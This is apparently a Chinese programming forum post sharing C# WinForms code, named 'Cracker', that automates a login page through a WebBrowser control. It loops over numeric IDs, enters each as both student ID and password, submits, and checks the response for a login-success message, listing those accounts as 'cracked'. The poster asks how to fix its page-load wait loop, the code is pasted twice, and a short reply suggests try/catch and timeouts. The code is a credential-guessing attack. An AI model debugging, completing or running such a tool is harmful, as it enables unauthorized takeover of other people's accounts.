using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Text.RegularExpressions; namespace Cracker
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
bool i = false;
private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
i = true;
} private void Form1_Load(object sender, EventArgs e)
{
} private void button1_Click(object sender, EventArgs e)
{
long id;
for (id = 11111; id <=222222; id++)
{
webBrowser1.Navigate("www。baiidu。com");
while (i == false)
{
System.Threading.Thread.CurrentThread.Join(1000); }
MessageBox.Show("网页加载完毕!");
HtmlElement tbUserid = webBrowser1.Document.All["stuid"];
HtmlElement tbPasswd = webBrowser1.Document.All["pwd"];
tbUserid.SetAttribute("value", id.ToString("D9"));
tbPasswd.SetAttribute("value", id.ToString("D9"));
foreach (HtmlElement elem in webBrowser1.Document.GetElementsByTagName("input"))
{ String nameStr = elem.GetAttribute("type");
if (nameStr == "submit")
{
elem.InvokeMember("Click");
}
}
i = false;
while (i == false)
{
MessageBox.Show("网页正在加载`````"); }
string str = webBrowser1.Document.Body.InnerHtml;
Regex reg = new Regex("登录成功!");
Match mat = reg.Match(str);
if (mat.Success == true)
{
listBox1.Items.Add(id.ToString("D9") + "is carcked!");
}
}
}
}
}
如果想让网页下载完毕时(既i=true时)再填表单,而不让while陷入死循环System.Threading.Thread.CurrentThread.Join(1000);应该怎么写?请高手指教啊!
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Text.RegularExpressions; namespace Cracker
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
bool i = false;
private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
i = true;
} private void Form1_Load(object sender, EventArgs e)
{
} private void button1_Click(object sender, EventArgs e)
{
long id;
for (id = 11111; id <=222222; id++)
{
webBrowser1.Navigate("www。baiidu。com");
while (i == false)
{
System.Threading.Thread.CurrentThread.Join(1000); }
MessageBox.Show("网页加载完毕!");
HtmlElement tbUserid = webBrowser1.Document.All["stuid"];
HtmlElement tbPasswd = webBrowser1.Document.All["pwd"];
tbUserid.SetAttribute("value", id.ToString("D9"));
tbPasswd.SetAttribute("value", id.ToString("D9"));
foreach (HtmlElement elem in webBrowser1.Document.GetElementsByTagName("input"))
{ String nameStr = elem.GetAttribute("type");
if (nameStr == "submit")
{
elem.InvokeMember("Click");
}
}
i = false;
while (i == false)
{
MessageBox.Show("网页正在加载`````"); }
string str = webBrowser1.Document.Body.InnerHtml;
Regex reg = new Regex("登录成功!");
Match mat = reg.Match(str);
if (mat.Success == true)
{
listBox1.Items.Add(id.ToString("D9") + "is carcked!");
}
}
}
}
}
如果想让网页下载完毕时(既i=true时)再填表单,而不让while陷入死循环System.Threading.Thread.CurrentThread.Join(1000);应该怎么写?请高手指教啊!
解决方案 »
- dotnetbar不能编辑状体
- C#链接数据库取得数据问题
- 极限要求,字符串滤除问题,正则怎么改呢?
- 请问一个窗口全屏(fullscreen)时,是否会给其他窗口发消息?给哪些窗口发消息?发什么消息?谢谢!在线等啊
- 如何把N多VS2005创建的solution一次性批量转换成VS2008可以打开的格式?
- C#操作excel不同版本的问题
- 如何把object保存成一个文件
- 把其他系统的数据转出成用友标准的XML文件,使用用友的EAI进行数据的交换
- 求:Rational PurifyPlus For VS 2003 (2003.06.00) SN 或则其他"可以使用的"SDE For VS 2003
- 大家轻松一下吧,发个flash给大家欣赏 :)
- vs2005新建项目时不能指定路径。急
- 如何在直接在屏幕上直接显示字符串或者图片?
干嘛不用Try catch..
还有设置timeout